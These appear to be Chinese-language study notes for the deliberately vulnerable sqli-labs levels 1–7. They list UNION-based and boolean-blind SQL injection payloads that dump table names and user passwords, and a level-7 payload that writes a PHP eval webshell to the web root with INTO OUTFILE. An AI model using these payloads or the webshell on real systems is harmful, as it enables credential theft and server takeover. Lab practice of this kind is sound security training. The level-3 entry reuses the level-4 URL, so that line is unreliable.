sqli注入学习


sqli逐步过关

第一关:字符型注入
步骤:
1.1'--+
2.1' order by 4--+//猜测共多少字段3正确,4错误就是4个
3-1' +UNION+ALL+SELECT+1,2,3--+//观察回显。会发现2,3回显,那么接下来就在2,3处进行sql注入
4.-1' +UNION+ALL+SELECT+1,database(),version()--+//爆破数据库名字以及数据库版本,进行下一步操作
5.-1' +UNION+ALL+SELECT+1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+//查表
6.-1' +UNION+ALL+SELECT+1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+//查列
7.-1' +UNION+ALL+SELECT+1,group_concat(username),group_concat(password) from users--+查数据
第二关:get整形注入
-1 union select 1,group_concat(password),group_concat(password) from users --+
第三关:单引号+)注入
1')--+之后步骤同第一关一样
http://192.168.93.131/sqli-labs-php7-master/Less-4/?id=1")--+
第四关:双引号+)注入
http://192.168.93.131/sqli-labs-php7-master/Less-4/?id=1")--+
第五关:bool盲注
所谓盲注:就是没有返回数据库内部信息,只返回yes/no,这种注入只能通过结合
一些函数进行配合,猜测数据库名称
1' and left((select database()),2) = 'se' --+//页面返回正确
1' and left((select database()),2) = 'sa' --+//页面返回错误
第六关:bool盲注双引号
1" and left((select database()),2) = 'se' --+//页面返回正确
1" and left((select database()),2) = 'sa' --+//页面返回错误
and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=94--+
这种如果使用这种方式的话,一般是写脚本或者使用bp抓包之后暴力破解或者使用sqlmap或者dnslog注入,很少手工。
第七关:一句话木马
这里直接过是过不了关的因为已经提示你是上传文件了,mysql读写文件有要求的。
mysql读写文件有一个非常重要的前置条件:
1.secure_file_priv设置
secure_file_priv = 空的时候 ,任意读写
secure_file_priv = 某个路径的时候,只能在规定的那个路径下读写
secure_file_priv = NULL 不能读写
2.要知道读写的绝对路径
所以这里需要知道两个要求,第一个假设未空(或者你可以去服务器上面查一下)
mysql中使用命令show global variables like '%secure%',
绝对路径解决方法:
(1)借助第一关,使用-1' union select 1,@@basedir,@@datadir --+  看地址
(2)可以直接服务器上去看地址,真实操作时应该没有
(3)收集敏感信息时,若假设为D盘,则可以尝试默认路径。
1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile 'D:\\phpStudy2\\PHPTutorial\\WWW\\sqli-labs-php7-master\\Less-7
\\1.php'--+
菜刀链接,成功!